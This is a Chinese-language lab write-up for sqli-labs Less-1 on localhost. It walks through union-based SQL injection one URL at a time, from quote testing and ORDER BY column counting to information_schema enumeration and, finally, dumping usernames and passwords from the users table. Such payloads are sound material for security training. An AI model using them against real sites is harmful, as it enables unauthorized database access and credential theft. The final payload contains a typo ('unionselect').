一,实验环境需求
MySQL8.0.23
PHP 5.3.29
sqli
Apache2.4.39
FTP
二,实验步骤
第一步
通过在
id=1
后加入一个闭合符号
'
,如果报错,再在后面加上
-- qwe
将后面注释掉,如果不报错,则证 明为字符型。命令如下:
http
:
//127.0.0.1/sqli-labs-master/Less-1/?id=1' -- qwe

第二步
通过
order by
查询字段数
逐级增加
order by 后面的数字,直到报错。如果逐级增加到n个字段后报错,那么证明这个字段有n-1个
http
:
//127.0.0.1/sqli-labs-master/Less-1/?id=1' order by n -- qwe
第三步
使用select
查询语句
用
select
查询前三个字段,目的是为了知道哪几个字段在前端显示,这样我们可以将想要查询的数
据将前端显示的字段替换掉,
注意前面的id=1
要改为
id=-1
,目的是为了让前面的查询语句不执行,这样我们后面查询的
version()
才能够 显示出来。
http
:
//127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 -- qwe

http
:
//127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,version(),3 -- qw

第四步
查询数据库
查询当前所使用的数据库,为的是后期查询表名。
http
:
//127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 -- qwe
第五步
information_schema
库
mysql5.0
以上的版本有
information_schema
库,
information_schema
库中有我们所需要的表名与库
名。我们先查询
security
数据库中的所有表的名字,并以一行输出的方式输出,因为如果不一行输
出的话,前端只会显示查询的第一个表名
http
:
//127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- qwe

第六步
查询
password
和
username
现在我们知道了
security
数据库中的所有表名,我们需要查询
password
和
username
,一般情况下这些数据都会存储到users
中,所以现在查询
users
这个表中的所有字段的名字是什么。
http
:
//127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- qwe

第七步
username
和
password
的具体数据
http
:
//127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 unionselect 1,group_concat(username),group_concat(password) from users --+
